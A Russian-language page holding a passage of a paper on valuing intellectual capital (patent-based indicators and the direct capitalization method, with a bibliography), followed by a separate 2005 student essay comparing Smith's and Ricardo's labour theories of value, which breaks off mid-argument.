Методы прямого измерения ИК позволяют измерять человеческий, структурный и рыночный капитал по отдельности. Более того, внутри каждой из перечисленных категорий обычно выделяются показатели, измеряемые по отдельности на основе специальных методик, имеющих, вообще говоря, мало общего с оценочной деятельностью в традиционном понимании. В данном случае ограничимся кратким обзором методов, используемых для измерения стоимости патентов на основе показателей, вырабатываемых самой патентной системой. На Западе это — новое направление в области патентов, связанное с получением «быстрой» оценки. Следует за метить, что для российских, точнее советских, патентных работников этот подход не является абсолютно новым. Какие-то его формы существовали очень давно.

Большинство советских методик оценки изобретений берут начала от технократических работ В.Г. Гмошинского. Основной идеей, на которой строится методика, является построение генеральных определительных таблиц (ГОТ). Первоначально она была высказана в журнальной статье, затем развита в монографиях 1973 и 1978 гг., а также в работах многих других авторов. Достаточно полный обзор этих методик приведен в диссертационной работе Д.М. Макарова [13]. Характерной чертой всех этих работ является ис­пользование перехода от качественных характеристик типа новизны, изобретательского уровня, сложности и т.д. к количественным показателям, получению разного рода коэффициентов. Наиболее часто встречаются коэффициент новизны, коэффициент сложности решаемой задачи, коэффициент достигнутого результата. Для перехода от качественных характеристик к такого рода коэффициентам используются специальные шкалы. В оригинальных работах самого Гмошинского для построения таблиц используются пятибалльные шкалы. Так, коэффициент технической значимости принимает значения от 0,2 до 1,0 с шагом 0,2. Далее, с использованием полученных коэффициентов и каких-то стоимостных характеристик, получается денежная оценка изобретения или иного объекта исключительных прав. Разумеется, в этом есть значительный элемент произвола. Тем не менее, когда нет ничего лучшего, могут применяться и такие подходы. Следует также иметь в виду, что советские методики не имели своей целью определить рыночную стоимость ИС. Определялась значимость самого изобретения.

В современных условиях те же идеи можно проследить в методиках оценки, разрабатываемых бывшими и действующими работниками Укрпатента. Например, в относительно новой методике, использование коэффициентов новизны, сложности и т.п. сочетается с элементами доходного метода [14] Главные достоинства такого подхода — простота и скорость получения результата.

В современных западных работах по стоимостной оценке патентов на основе патентной информации, обзор которых можно найти на сайте Экономической комиссии ООН, используются показатели, в чем-то похожие на упоминавшиеся выше коэффициенты. Точнее, эти показатели восходят к тем же характеристикам новизны, изобретательского уровня и т.д. Ниже они перечислены с краткими пояснениями.

В большинстве патентных систем мира обязательными требованиями для патентования изобретений являются новизна и изобретательский уровень. На практике патентные эксперты выносят решение о выполнении этих требований на основе изучения современного положения дел, как это отражено в существующих публикациях, в том числе в предшествующих патентных документах. Относящиеся к делу документы, отражающие современный уровень развития техники, цитируются патентными экспертами и публикуются вместе с подлежащей экспертизе заявкой на патент. Такие документы называются регрессивными ссылками. Регрессивные ссылки рассматриваются в качестве характеристик ценности патента, начиная примерно с 1980 года.

Понятие «прогрессивные ссылки» обозначает, сколько раз какой-либо уже выданный патент цитируется в качестве документа, отражающего современное развитие техники в какой-либо области, в ходе экспертизы последующих рассматриваемых патентов. Прогрессивные ссылки начали принимать в расчет, как минимум, с 1987 года.

Критерий «размер семейства» — представляет собой ещё один критерий оценки. Под размером семейства понимается некая величина, отражающая число государств, в которых какой-либо патент является юридически действительным. Показатель размера семейства относительно нов, его начали исследовать лишь с 1996 года. Переменная охвата призвана отразить объем патента. Эта переменная рассматривается в специальных исследованиях с 1994 года.

Переменная «статус патентообладателя» указывает, кому принадлежит патент. С начала 2000 года появилось много исследований, в которых данная пе­ременная использовалась для того, чтобы провести различие между патентами физических и юридических лиц [15].

Количество притязаний в патентной формуле призвано отразить объем патента. Либо в качестве абсолютной величины, либо в качестве фактора удельного веса оно было рассмотрено в серии исследований, начиная с 1992 года.

Документы на патент могут подаваться различными способами, что так же может влиять на оценку. На международном уровне альтернативным механизмом отдельной подачи документов в разных странах является представление заявки путем использования так называемого договора о патентной кооперации. Разные способы подачи документов на патент обусловлены стремлением достижения разных стратегических целей. Переменная, характеризующая способ подачи документов/стратегии патентования, была рассмотрена в одном из исследований. Заявка на патент может подаваться несколькими заявителями. Данная переменная была рассмотрена в том же исследовании. Заявители могут иметь разную государственную принадлежность. На основе этой информации может быть вычислена переменная, которая указывает, является ли данная заявка на патент продуктом трансграничного научного сотрудничества. Эта переменная была рассмотрена в том же исследовании. Еще в середине 20-х годов прошлого века было замечено, что непропорционально большая доля научно-исследовательской продукции какой-либо корпорации является результатом работы немногочисленной «элиты» (ведущих) изобретателей. В третьем тысячелетии эта идея вновь привлекла внимание западных иссле­дователей.

Итак, можно сказать, что общим в советском и западном подходе можно считать: стремление к получению быстрой оценки; использование информации, производимой самой патентной системой; оценку изобретения и прав на него вне конкретного экономического контекста.

Основное отличие между подходами состоит в том, что западные исследователи используют преимущественно статистические данные и эконометрические методы. Тем самым минимизируется влияние субъективного фактора. Советские исследователи и их последователи в современной России используют статистику и эконометрику существенно реже, но компенсируют этот недостаток экспертными оценками. В том числе экспертные оценки применяются при переходе от качественных характеристик изобретения к коэффициентам (новизны, сложности решаемой задачи и т.д.). Это различие весьма принципиально. Тем не менее общий вывод заключается в том, что между новейшими западными подходами и советским подходом к оценке изобретений гораздо больше общего, чем можно было ожидать лет 5-7 назад.

4. Метод прямой капитализации — DCM

Итак, наиболее подробно целесообразно остановиться на таком методе прямого измерения и оценки интеллектуального капитала, как метод прямой капитализации (Direct Capitalization Method — DCM).

Определение метода прямой капитализации применительно к оценке нематериальных активов: капитализация (означающая деление на соответствующую ставку доходности) постоянного или постоянно меняющегося экономического дохода за конкретный период времени.

Первый шаг метода прямой капитализации состоит в определении надлежащей меры экономического дохода, которая должна быть использована в ходе оценке или экономического анализа. Так же, как и в методе капитализации дохода, в анализе на основе метода прямой капитализации могут быть использованы многочисленные альтернативные меры экономического дохода.

Второй шаг метода прямой капитализации заключается в оценке последующего предполагаемого срока прогноза экономического дохода. Иными словами, этот шаг включает оценку ожидаемого последующего срока полезного использования оцениваемого нематериального актива. Некоторые неопытные аналитики считают, что при использовании метода прямой капитализации нет необходимости в рассмотрении последующего срока полезного использования. Это попросту неправильно.

Некоторые аналитики также полагают, что прямая капитализация может использоваться только тогда, когда прогноз потока экономического дохода может быть установлен на неограниченный срок. Иными словами, прямая капитализация может использоваться, только в том случае, когда ожидаемый последующий срок полезного использования оцениваемого нематериального актива равен бесконечности, что не является верным [23].

Тем не менее, верно то, что метод прямой капитализации может использоваться только тогда, когда прогнозируемый поток дохода представляет собой аннуитет или перпетуитет. Аннуитет — это поток дохода, являющийся постоянным (или изменяющийся с постоянным темпом) в течение конечного периода времени. Перпетуитет — это поток дохода, являющийся постоянным (или изменяющийся с постоянным темпом) в течение бесконечного периода времени. Прямая капитализация, безусловно, применима, когда прогнозируемый поток дохода является перпетуитетом — то есть, когда ожидаемый остаточный срок полезного использования оцениваемого нематериального актива бесконечен. Прямая капитализация также применима, когда прогнозируемый поток дохода является аннуитетом — то есть, когда ожидаемый последующий срок полезного использования оцениваемого нематериального актива конечен (т.е., меньше бесконечности).

Поэтому метод прямой капитализации, на самом деле, требует анализа и оценки последующего срока полезного использования. Если аналитик использует ставку капитализации перпетуитета в рамках метода прямой капитализации, то аналитик имплицитно исходит из бесконечного последующего срока использования оцениваемого нематериального актива.

Третий шаг метода прямой капитализации сводится к обоснованию прогноза экономического дохода. Для использования прямой капитализации прогноз экономического дохода должен быть [15]:

Постоянным (т.е., одинаковым в любом периоде) при конечном или бесконечном количестве периодов либо

Постоянно изменяющимся (т.е., изменяющимся с постоянным темпом в каждом периоде) при конечном или бесконечном количестве периодов.

Если изменение в прогнозе дохода не происходит с постоянным темпом, то метод прямой капитализации не может быть использован. Например, если прогноз дохода изменяется на различные проценты в каждом периоде, то прямая капитализация неприменима. Также, если прогноз дохода изменяется на постоянную сумму в долларах — но не на постоянный процент — то прямая капитализация не может быть использована. В таких случаях следует использовать метод капитализации дохода.

Четвертый шаг метода прямой капитализации состоит в оценке соответствующей ставки прямой капитализации. Ставка прямой капитализации используется для приведения прогнозируемого экономического дохода к текущей стоимости. Как мы увидим, ставка прямой капитализации учитывает показатель темпа роста. В зависимости от показателя темпа роста темп изменения экономического дохода может быть положительным, отрицательным или нулевым.

Пятый шаг метода прямой капитализации заключается в установлении показателя стоимости оцениваемого нематериального актива. Показатель стоимости определяется с помощью вычисления текущей стоимости прогнозируемого потока экономического дохода за ожидаемый срок получения экономического дохода по выбранной ставке прямой капитализации [8].

Заключение

Проблема развития интеллектуального капитала — это комплексная проблема, требующая внимания со стороны и ученых, и законодателей, и исполнительной власти, и самих предпринимателей, которые только начинают осознавать значение и роль интеллектуального капитала в развитии и процветании. В настоящее время для всех становится очевидным, что экономика, базирующаяся на знании и ориентированная на формирование и использование интеллектуального капитала, становится главным фактором социально-экономического развития целых стран и отдельных регионов, огромных холдингов и маленьких фирм.

Развитие концепции интеллектуального капитала будет продолжаться, несмотря на спорность вопроса о том, приводят ли они к созданию работоспособных систем, обеспечивающих получение полезной информации и увеличивающих шансы завоевания конкурентных преимуществ. В пользу этого говорит еще и тот факт, что так называемые «неосязаемые активы», в принципе, представляют собой одну из немногих областей деятельности организации, не затронутых всеобщим рационализмом и оптимизацией. Конечно, еще вопрос — реально ли вообще какое-либо влияние на данную группу активов. Однако здесь, думается, как минимум можно провести разграничение на факторы, влияние которых возможно оценить и контролировать и на факторы, учету не поддающиеся.

Существует классификация представленная К. — Э. Свейби, в которой он выделяет 25 методов измерения интеллектуального капитала, сгруппированных в 4 категории: методы прямого измерения интеллектуального капитала, методы рыночной капитализации, методы отдачи на активы и методы подсчета очков. Методы прямого измерения интеллектуального капитала — Direct Intellectual Capital methods (DIC). К этой категории относятся все методы, основанные на идентификации и оценке в деньгах отдельных активов или отдельных компонентов ИК. После того, как оценены отдельные компоненты ИК или даже отдельные активы, выводится интегральная оценка ИК компании.

Следует отметить относительную близость DIC и SC методов, а также MCM и методов ROA. В первых двух случаях движение идет от идентификации отдельных компонентов ИК, во втором — от интегрального эффекта.

Таким образом, в рамках дальнейшего развития концепции интеллектуального капитала представляется логичным формирование комплексной системы оценки, позволяющей избежать издержек рассмотренных выше методов.

Список использованных источников

Азгальдов Г.Г., Карпова Н.Н. Оценка интеллектуальной собственности предприятий в современных условиях // Вопросы оценки. — 1999. — №2. — с.6-25.

Андрусенко Т., Измерение интеллектуального капитала. // Корпоративные системы. 2006. №3., www.management.com.ua/ims/ims121.html

Блэк Дж. Экономика: Толковый словарь: Англо-русский. — М.: ИНФРА-М, Изд-во «Весь мир», 2000.

Брукинг Э. Интеллектуальный капитал. — СПб: Питер, 2001.

Букович У., Уилльямс Р. Управление знаниями: руководство к действию. — М.: Инфра-М, 2002.

Голубкин В.Н., Клеева Л.П., Патока Л.В., Интеллектуальный капитал в эпоху глобализации мировой экономики. // Бизнес-образование. 2005. №1 (18)., www.ou-link.ru/pub/business_obraz_1_18. htm

Иноземцев В.Л. К теории постэкономической общественной формации — М., 1995.

Интеллектуальные активы: идентификация, оценка, управление // Интеллектуальная собственность. 2000. № 5. С.40-44.

Климов С.М. Интеллектуальные ресурсы организации. — М.: Знание, 2000.

Леонтьев Б.Б. Цена интеллекта. Интеллектуальный капитал в российском бизнесе. — М.: Издательский центр «Акционер», 2002.

Леонтьев Б.Б. Рынок интеллектуальной собственности и проблемы оценки // Вопросы оценки. 1996. Январь-март.

Лозовский Л.Ш., Райзберг Б.А., Ратновский А.А. Универсальный бизнес-словарь. — М.: ИНФРА-М, 1997.

Макаров Д.М. Оценка инвестиционной стоимости объектов интеллектуальной собственности в условиях переходного периода / Диссертация на соискание ученой степени кандидата экономических наук. — М.: РИИС, 1999. — 204 с.

Орлова Н.С., Бромберг Г.В., Соловьева Г.М. Порядок учета и рекомендации по стоимостной оценке объектов интеллектуальной собственности: Методическое пособие. — М.: ИНИЦ Роспатента, 1999. — 92 с.

Оценка стоимости нематериальных активов и интеллектуальной собственности / Козырев А.Н., Макаров В.Л. — М.: Интерреклама, 2003. Мильнер Б.З. Управление знаниями: Эволюция и революция в организации. — М.: Инфра-М, 2003.

Просвирина И.И., Интеллектуальный капитал: новый взгляд на нематериальные активы. // Финансовый менеджмент. 2004. №4.

Розенберг Д.М. Бизнес и менеджмент. Терминологический словарь. — М.: ИНФРА-М, 1997.

Сливотски А., Мориссон Д. Маркетинг со скоростью мысли. — М.: Изд-во Эксмо, 2002.

Специфика оценки стоимости интеллектуального капитала. Макаров П.Ю., Бобкова Е.В. // Журнал об оценке. — № 18. — 2007, (часть 2).

Стюарт Т. Богатство от ума. — Минск: Парадокс, 1998.

Стюарт Т. Интеллектуальный капитал. Новый источник богатства организаций // Новая постиндустриальная волна на Западе / Под редакцией В.Л. Иноземцева. М.: Academia, 1999.

Хант Р., Базан Т. Как создать Интеллектуальную организацию. — М.: Инфра-М, 2002.

Эдвинссон Л., Мэлоун М. Интеллектуальный капитал. Определение истинной стоимости компании // Новая постиндустриальная волна на Западе / Под редакцией В.Л. Иноземцева. М.: Academia, 1999.

Реферат: Сравнительный анализ теорий стоимости А. Смита и Д. Рикардо

Санкт-Петербургский Государственный Университет

Высшая Школа Экономики

Эссе по парадигмам экономической мысли

Тема: Сравнительный анализ теорий стоимости А. Смита и Д. Рикардо.

Выполнил: Фёдоров Максим

Студент 115 группы

Преподаватель: Скоробогатов А.С.

Санкт-Петербург

2005

В Лондоне в марте 1776 года вышла в свет одна из самых замечательных книг в истории политической экономии: “Исследование о природе и причинах богатства народов”.

В основу своего исследования Адам Смит положил трудовую теорию стоимости, считая законом определения стоимости затраченным на производство товара трудом и обмен товаров соответственно заключенному в них количеству труда. Вместе с тем он предпринял попытку продвинуться от исходной, простейшей формулировки трудовой теории стоимости к анализу реальной системы товарно-денежного обмена и ценообразования в условиях капитализма свободной конкуренции. Хотя он и трактовал проблему стоимости с научной глубиной и основательностью, тем не менее, Смит натолкнулся на неразрешимые противоречья.

Смит с большей четкостью определил и разграничил меновую и потребительную стоимость товара, вторую же он почему-то оставил без рассмотрения. Возможно причина здесь в том, что в понятие «потребительная стоимость» А.Смит вкладывал смысл не предельной, а полной полезности, т.е. воз­можность отдельного предмета, блага удовлетворить потребность человека, причем не конкретную, а общую. Поэтому для него потребительная стоимость не может быть условием меновой стоимости товара. Я хотел бы процитировать М. Блауга который так высказался в этой связи: «во времена Смита… отвергали теорию ценности, основанную на понятии полезности, поскольку казалось невозможным установить количественную связь между полезностью и ценой, — об этой трудности тогда просто не заду­мывались. Скорее, в то время просто не видели связи между полез­ностью в том смысле, в каком мы ее понимаем, и ценой». В своей теории Смит признал равнозначность всех видов производительного труда как «создателя» и конечного мерила стоимости, показал закономерность того, что стоимость непременно должна выражаться в меновых пропорциях, в количественном отношении обмена товарами, а при достаточно развитом товарном производстве – в деньгах. Однако здесь важно заметить тот факт, что Смит не исследовал труд как субстанцию стоимости. Он не различал процесс труда как фактор создания и перенесения стоимости, поскольку все его внимание было направлено на меновую стоимость (как было замечено ранее), на количественную меру стоимости, как она проявляется в меновых пропорциях, в конечном счете – в ценах.

Смит понимал, что величина стоимости определяется не фактическими затратами труда отдельного товаропроизводителя, а теми затратами, которые в среднем необходимы для данного состояния производства. Он отмечал также, что квалифицированный и сложный труд создает в единицу времени больше стоимости, чем неквалифицированный и простой, и может быть сведен к последнему по средствам некоторых коэффициентов.

О дальнейшем развитии Смитом теории стоимости свидетельствовало разграничение естественной и рыночной цен товара, причем первая трактовалась сначала как денежное выражение стоимости. Она “как бы представляла собой центральную цену, к которой постоянно тяготеют цены всех товаров, — писал Смит. – Различные случайные обстоятельства могут иногда держать их на значительно более высоком уровне и иногда несколько понижать их по сравнению с нею. Но каковы бы ни были препятствия, которые отклоняют цены от этого устойчивого центра, они постоянно тяготеют к нему”. При уравновешивании спроса и предложения в условиях свободной конкуренции рыночные цены совпадают с естественными. Смит положил начало исследованию конкретных факторов, вызывающих отклонение цен от стоимости. Это, в частности, открывало возможности для исследования спроса и предложения как факторов ценообразования, а также роли разного рода монополий в этой области.

Однако Смит был не последователен в изложении своей теории стоимости. Действительно, как писал Маркс, мы находим у Смита “не только два, но целых три, а, говоря совсем точно – даже четыре резко противоположных взгляда на стоимость, которые мирно располагаются у него рядом или переплетаются друг с другом”. По-видимому, основная причина этого заключается в том, что Смит не мог найти удовлетворительных с точки зрения научной логики связей между трудовой теорией стоимости, как она сложилась в то время и как она была им зафиксирована, и сложностью конкретных процессов капиталистической экономики. Не находя этих связей, он стал варьировать и приспосабливать исходную концепцию.

Прежде всего, наряду со стоимостью, определяемой количеством заключенного в товаре необходимого труда (первый и основной взгляд), он ввел второе понятие, где стоимость определяется количеством труда, которое можно купить на данный товар. В условиях простого товарного хозяйства, когда нет наемного труда и производители товаров работают на принадлежащих им средствах производства, это по величине одно и то же. Ткач, например, обменивает кусок сукна на сапоги. Можно сказать, что кусок сукна стоит пары сапог, а можно – что он стоит труда сапожника за то время, пока он изготовлял эти сапоги. Но количественное совпадение не служит доказательством тождества, так как стоимость данного товара может быть количественно определена только одним-единственным способом – в известном количестве другого товара.

Однако Смит натолкнулся на противоречие, когда попытался применить это свое второе толкование стоимости к капиталистическому производству. Если сапожник работает на капиталиста, то стоимость произведенных им сапог и “стоимость его труда”, то, что он получает за этот труд, — совершенно разные вещи. Выходит, что наниматель, купив труд рабочего, получает большую стоимость, чем платит за этот труд. Смит не мог объяснить это противоречие в рамках теории трудовой стоимости и делал вывод, что стоимость определялась трудом только в ”первоначальном состоянии общества”, когда не было капиталистов и наемных рабочих, т. е. при простом товарном производстве.

Рикардо при написании своей трактовки трудовой теории стоимости особое внимание уделил ненаучному варианту трудовой теории стоимости Смита, поэтому я считаю, что логичнее будет сравнивать их теории стоимости именно с позиции Рикардо уделяя особое внимание изменениям внесенным им в теорию Смита, а также его собственным нововведениям.

Соответственно двойственности применяемого Смитом метода он разработал и двойственную теорию стоимости. С одной стороны, Смит приходил к правильному в целом выводу о том, что стоимость товаров определяется трудом, затраченным на их производство. С другой стороны, Смиту представлялось, что можно определить стоимость товаров и тем трудом, который “покупается на этот товар”. По Смиту, это тождественные определения.

Рикардо решительно выступил против второго, ненаучного определения стоимости Смита. Он показал, что это отнюдь не тождественные позиции, что вторая точка зрения Смита не соответствует действительности. “Будь это действительно верно, — писал Рикардо, — будь вознаграждение рабочего всегда пропорционально тому, сколько он произвел, количество труда, затраченное на товар, и количество труда, которое за этот товар можно купить, были бы равны. … Но они не равны”. Труд рабочего вовсе не оплачивается вдвое выше, если этот рабочий вдвое увеличил объем производимой продукции, пояснил свою точку зрения Рикардо.

Рикардо показал, что заработная плата рабочего фактически не зависит от достигнутого им уровня производительности труда. Он писал: “Заработная плата не зависит от количества товара, которое будет произведено трудом одного дня … если вместо четырех мер трудом одного дня могло бы быть произведено десять мер, заработная плата нисколько не повысилась бы и рабочий не получил более значительной части хлеба, одежды или хлопчатобумажных тканей”.

Это означает, что Рикардо проводил четкое различие между трудом, затраченным на производство товара и определяющим его стоимость, и тем трудом, который можно купить на данный товар, между трудом затраченным и трудом покупаемым. В качестве источника стоимости у Рикардо выступает труд, затраченный на производство товара.

Вместе с тем тезис Рикардо об отсутствии непосредственной зависимости заработной платы от изменения производительности труда как будто бы противоречит реальной действительности. Известно, что в условиях сдельной оплаты, чем больше произведет рабочий товаров, тем выше его заработная плата. Причина, по которой Рикардо отстаивал данный тезис, в том, что он стремился выявить определенную зависимость экономических явлений, а потому и отталкивался от менее существенных причинно-следственных связей. В самом деле, данный тезис Рикардо опирается на следующие две предпосылки. Во-первых, Рикардо исходил из того, что заработная плата регулируется затратами труда, требующимися для производства “труда” как товара (в действительности – рабочей силы как товара). Поэтому-то она и не зависит от непосредственно от производительности труда. Во-вторых, видно, что Рикардо абстрагировался от вторичных законов заработной платы, устанавливающих зависимость заработной платы от количества и качества труда.

Тем не менее, эта критика была недостаточна последовательной. Рикардо фактически показал, что стоимость товаров не складывается из доходов, поскольку эти последние представляют собой уже созданную стоимость. Однако он принял другой ненаучный тезис Смита в теории стоимости, а именно его положение о том, что стоимость товара распадается на доходы. Между тем в действительности на доходы распадается лишь вновь созданная стоимость. Следовательно, эта точка зрения игнорировала в структуре стоимости товара так называемую старую стоимость, то есть стоимость, перенесенную со средств производства. И здесь мы видим, что непонимание Рикардо двойственного характера труда не позволило ему дать подлинно научное решение проблемы структуры стоимости товара.

Отметим, что структура стоимости обладает двойственностью, содержит как вновь созданную (абстрактным трудом), так и перенесенную (трудом конкретным) стоимость со средств производства, именно в силу двойственной природы труда, создающего товар.

Мы знаем, что Смит был непоследователен в своей трудовой теории стоимости. Он считал, что определение стоимости трудом, рабочим временем применимо лишь к “примитивному состоянию общества”, когда не было капитала и наемного труда. В современном же обществе стоимость определяется фактически суммой доходов в виде заработной платы, прибыли и ренты, получаемых от производства и реализации товаров. Такая непоследовательность была неприемлема для строгого логического ума Рикардо. Свойственное Смиту вольное обращение с основными принципами его не устраивало. Такой фундаментальный закон, как закон стоимости, не может полностью меняться с развитием общества. Нет, сказал Рикардо, определение стоимости рабочим временем есть абсолютный всеобщий закон. Тезис о полной применимости закона трудовой стоимости к развитому капиталистическому обществу был большой научной заслугой Рикардо.

Критика Рикардо ненаучной теории стоимости расчистила ему дорогу для разработки собственной научной концепции.

То новое, что внесено Рикардо в трудовую теорию, обусловлено главным образом существенным изменением исторической обстановки – переходом от мануфактурного капитализма к капитализму машинной ступени развития.

Новая историческая обстановка потребовала от Рикардо прежде всего внести ясность в понимание самой сути закона стоимости, в само понятие стоимости. Подчеркивая, что его неопределенность порождает путаницу в политической экономии в целом, Рикардо более последовательно, чем Смит, разработал положение о труде, затраченном на производство товаров, как источнике их стоимости. Он сформулировал их принцип, “в силу которого стоимость предметов увеличивается или уменьшается в зависимости от увеличения или уменьшения затраченного на них труда”.

Определяя величину стоимости товара затратами труда, пошедшими на его производство, Рикардо уловил общую зависимость стоимости от уровня производительности труда. Он писал: “Если меновая стоимость товаров определяется количеством труда, воплощенного в них, то всякое возрастание этого количества должно увеличивать стоимость того товара, на который затрачивается труд, а всякое понижение уменьшает ее”.

Если стоимость товаров определяется трудом, затраченных на их производство, то возникает вопрос, а о каком собственно труде здесь идет речь? Ведь ясно, что труд имеет самые различные характеристики. Он выступает как живой и овеществленный, как простой и сложный, имеющий к тому же различную степень сложности, как труд занятый в различных отраслях и сферах производства, в самых различных условиях производства – лучших, средних и худших, к тому же и вознаграждается труд по-разному в различных сферах его применения, по-разному он вооружен технически, его осуществляют представители различных трудящихся классов и т. п.

Заслуга Рикардо состоит в том, что он сумел провести свое определение стоимости через все эти усложняющие обстоятельства и прийти к выводу о том, что они вовсе не отрицают того факта, что стоимость товаров определяется трудом, затраченным на их производство.

Рикардо поставил и в целом правильно решил вопрос об отношении труда различной степени сложности к определению стоимости трудом.

Значение этого вопроса состоит в том, что он тесно связан с сущностью процесса образования стоимости товаров. Заметим, что простой труд нельзя во все времена отождествлять с трудом неквалифицированным. Простой труд – это господствующий род труда, определяющий стоимость товаров, к которому сводится более сложный и менее сложный труд. Именно в силу того, что простой труд, как труд господствующей степени сложности, определяет стоимость товаров, и становится возможным и необходимым сведение к нему как более сложного, так и менее сложного труда.

Рикардо установил, что различия в сложности труда не являются препятствием к тому, чтобы рассматривать труд в качестве источника стоимости, поскольку “оценка труда различных качеств скоро устанавливается на рынке с достаточной для всех практических целей точностью …”. Это означает, что Рикардо видел, что на рынке труд различного качества сводится к определенному количеству простого труда. Вместе с тем он видел и то, что различное вознаграждение труда различного качества не вносит сколько-нибудь существенных изменений в определении стоимости товаров трудом, затраченным на их производство. Он писал, что “труд различного качества вознаграждается различно. Это обстоятельство не служит причиной изменения относительной стоимости товаров”, поскольку заработная плата не определяет стоимость товаров.

Рикардо в целом правильно решил и проблему соотношения стоимости товара и его потребительной стоимости, хотя и не дал своей позиции сколько-нибудь обстоятельного обоснования. И снова здесь свою негативную роль сыграло непонимание им двойственной природы труда, создающего товар.

Более того, Рикардо близко подошел к пониманию того, что и динамика потребительной стоимости и стоимости при повышении производительности труда будет различной. Его рассуждения сводятся к следующему. Применение машин позволяет производить больше продуктов труда в единицу времени, в то время как затраты труда на единицу продукции уменьшаются. Следовательно, сумма потребительных стоимостей возрастает, а стоимость единицы товара падает. Более того, уменьшается и общая сумма стоимости товаров, вследствие того, что повышение производительности труда уменьшает стоимость ранее произведенных товаров. Таким образом, “общество, несмотря на возросшее количество товаров … имело бы в своем распоряжении меньшую сумму стоимости”.

Он понимал, что многие ошибки в политической экономии проистекают из смешения потребительной стоимости товара и его стоимости нередко в самых неожиданных формах. Рикардо писал: “Многие заблуждения в политической экономии объясняются ошибочными взглядами на этот предмет, а именно отождествлением возрастания богатства с возрастанием стоимости …”.

Однако неразвитость трудовой стоимости, прежде всего отсутствие у Рикардо ясного представления о двойственной природе создающего товар труда, не позволила ему раскрыть до конца проблему соотношения стоимости товара и его потребительной стоимости, выявить причину их противоположного движения в условиях повышения производительность труда, хотя он фиксировал данное явление.

Крупным шагом к разработке научной теории стоимости явилась постановка Рикардо проблемы общественно необходимого труда, без решения которой невозможно раскрыть механизм действия закона стоимости. Тем сам он подошел к разграничению индивидуальной и общественной стоимости товара, на противоречивом единстве которых и основывается действие закона стоимости.

Исторические условия промышленного переворота требовали конкретизации вывода о труде как источнике стоимости. Эти условия поднимали вопрос о том, каким, собственно, трудом регулируется стоимость: ведь затраты труда мелкого ремесленника, рабочего на мануфактуре и рабочего на машинной фабрике при производстве одного и того же вида существенно различаются.

Рассматривая эту проблему, Рикардо пришел к заключению о том, что различия в производительности труда не отменяет определение стоимости трудом, поскольку величина стоимости регулируется не тем трудом, который фактически пошел на производство товара, а тем трудом, который необходим для его изготовления при определенных, а именно худших, условиях производства. Рикардо писал: “ Меновая стоимость всех товаров, будут ли то промышленные изделия, или продукты рудников, или земледельческие продукты … регулируются наибольшим количеством труда, по необходимости затрачиваемым на производство товаров теми, кто… продолжает производить при самых неблагоприятных условиях; под последними понимаются такие, при каких необходимо вести производство, чтобы было произведено требуемое количество продуктов”.

Здесь Рикардо фактически провел различие между индивидуальным и общественно необходимым трудом, стремясь тем самым решить проблему, над которой билась экономическая мысль на протяжении веков. Еще Рикардо столкнулся с проблемой общественно необходимого труда, когда обнаружил, что на рынке продаются такие товары, на которые не пошло никакого труда, хотя они и реализуются по тем же ценам, что и товары, произведенные трудом (например, скот, выросший в естественных условиях без каких-либо затрат человеческого труда, самородок золота и т. п.). Это означало, что, хотя на изготовление таких товаров не затрачено труда, стоимостью они, тем не менее, обладают. А это в свою очередь могло иметь место лишь при одном из следующих двух условий. Либо источником стоимость наряду с трудом выступают и другие факторы, либо стоимость создается не тем трудом, который фактически заключен в товаре, т.е. индивидуальным трудом, а тем трудом, который затрачивается на производство данного товара при средних, общественно нормальных условиях производства.

Заслуга Рикардо состояла в том, что он последовательно развивал принцип трудовой стоимости, убедительно доказывая несостоятельность утверждений о множественности источников стоимости. Позиция Рикардо сыграла выдающуюся роль в развитии экономической науки.

Однако решение, данное Рикардо, является далеко не полным и не точным. В качестве регулятора величины стоимости им изображаются индивидуальные затраты труда при худших условиях производства, что означает непонимание общественного характера труда, создающего стоимость товаров. К тому же неверно решение проблемы величины стоимости применительно к промышленным товарам. Тот процесс ценообразования, который типичен для сельского хозяйства, добывающей промышленности (стоимость товара определяется затратами труда при худших условиях производства), Рикардо распространял на все отрасли экономики, в том числе и на промышленности. Тем самым он затруднил для себя понимание действительной зависимости величины стоимости от уровня развития производительных сил общества.

Рикардо пришел к заключению, что капитал есть не что иное, как накопленный в средствах производства труд рабочих. При всей ограниченности такой трактовки капитал (который в действительности представляет собой особое общественно-производственное отношение между капиталистом и наемным рабочим, а именно отношения эксплуатации первым второго) эта позиция Рикардо означала, что средства производства не могут создавать новой стоимости, они только переносят свою стоимость на новый товар. Тем самым раскрывалась несостоятельность апологической теории “производительности капитала”.

Вместе с тем данная точка зрения Рикардо представляла собой существенный вклад в основание трудовой теории стоимости. На основе своего анализа Рикардо пришел к выводу о том, что и в условиях капитализма, а не только при простом товарном хозяйстве, как полагал Смит, стоимость товаров определяется трудом, затраченным на их производство, а вовсе не доходами, что накопление капиталов не отменяет закон стоимости, а лишь усложняет процесс формирования стоимости. Рикардо показал, что и земля, а не только фабричные средства производства, не создает стоимость, что приносимый землей доход – земельная рента – создан трудом наемных рабочих и обусловлен действием закона стоимости.

Из этих рассуждений Рикардо следовал весьма важный вывод,– единственным источником стоимости является лишь труд наемных рабочих, пошедший на изготовление товаров. Этот вывод подводил буржуазную политическую экономию к той грани, за пределами которой научная истина становилась несовместимой с буржуазной формой мышления.

Однако Рикардо, не раскрывший двойственного характера труда, не сумел объяснить, как стоимость средств производства переносится на новый товар, каков механизм этого процесса. По этой же причине он не дал четкой характеристики двойственности процесса формирования стоимости товара, а вместе с тем и двойственности его результата: перенесенной стоимости (как результата конкретного труда) и вновь созданной стоимости (как результата абстрактного труда). Отсюда проистекает и весьма противоречивое отношение Рикардо к так называемой догме Смита. Он отвергал одну ее сторону, а именно тезис Смита о том, что стоимость складывается из доходов, и соглашался с другой ее стороной – утверждением о том, что стоимость распадается на доходы

Другим недостатком позиции Рикардо при рассмотрении данной проблемы явилось то, что он не сумел выявить роль оборотной части постоянного капитала, вещественно представленной сырьем, материалами, топливом и т. п., в процессе формирования стоимостной структуры товара. В отмеченной выше формулировке Рикардо говорится лишь об “орудиях, инструментах и зданиях, способствующих труду” и не упоминается об оборотном капитале.

Трудность, с которой столкнулся Рикардо, проистекла из своеобразной роли в процессе труда предметов труда. Рикардо смешивал деление капитала на основной и оборотный, на постоянный и переменный.

